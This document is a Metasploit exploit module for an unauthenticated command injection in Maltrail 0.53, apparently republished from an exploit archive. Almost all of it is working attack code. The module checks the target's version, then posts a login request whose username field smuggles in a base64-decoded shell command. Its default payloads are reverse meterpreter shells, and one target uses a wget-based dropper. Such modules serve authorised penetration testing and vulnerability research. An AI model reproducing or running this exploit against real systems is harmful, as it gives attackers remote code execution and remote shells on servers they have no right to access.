Maltrail 0.53 Unauthenticated Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Maltrail Unauthenticated Command Injection',        'Description' => %q{          Maltrail is a malicious traffic detection system, utilizing publicly          available blacklists containing malicious and/or generally suspicious trails.          The Maltrail versions < 0.54 is suffering from a command injection vulnerability.          The `subprocess.check_output` function in `mailtrail/core/http.py` contains          a command injection vulnerability in the `params.get("username")` parameter.          An attacker can exploit this vulnerability by injecting arbitrary OS commands          into the username parameter. The injected commands will be executed with the          privileges of the running process. This vulnerability can be exploited remotely          without authentication.          Successfully tested against Maltrail versions 0.52 and 0.53.        },        'License' => MSF_LICENSE,        'Author' => [          'Ege BALCI <egebalci[at]pm.me>', # msf module          'Chris Wild', # original PoC, analysis        ],        'References' => [          ['EDB', '51676'],          ['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],          ['URL', 'https://github.com/stamparm/maltrail/issues/19146']        ],        'Platform' => ['unix', 'linux'],        'Privileged' => false,        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => :wget,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DisclosureDate' => '2023-07-31',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => []        }      )    )    register_options(      [        Opt::RPORT(8338),        OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])      ]    )  end  def check    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path),      'method' => 'GET'    )    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}    if version < Rex::Version.new('0.54')      return CheckCode::Appears("Version Detected: #{version}")    end    CheckCode::Safe("Version Detected: #{version}")  end  def execute_command(cmd, _opts = {})    send_request_raw( # This needs to be a raw requess cuz we don't wanna URL encode the body      'uri' => normalize_uri(target_uri.path, 'login'),      'method' => 'POST',      'headers' => {        'ctype' => 'application/x-www-form-urlencoded'      },      'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`" # We also need all the +    )  end  def exploit    case target['Type']    when :unix_cmd      print_status("Executing #{target.name}...")      execute_command(payload.encoded)    when :linux_dropper      print_status("Executing #{target.name}...")      execute_cmdstager    end  endend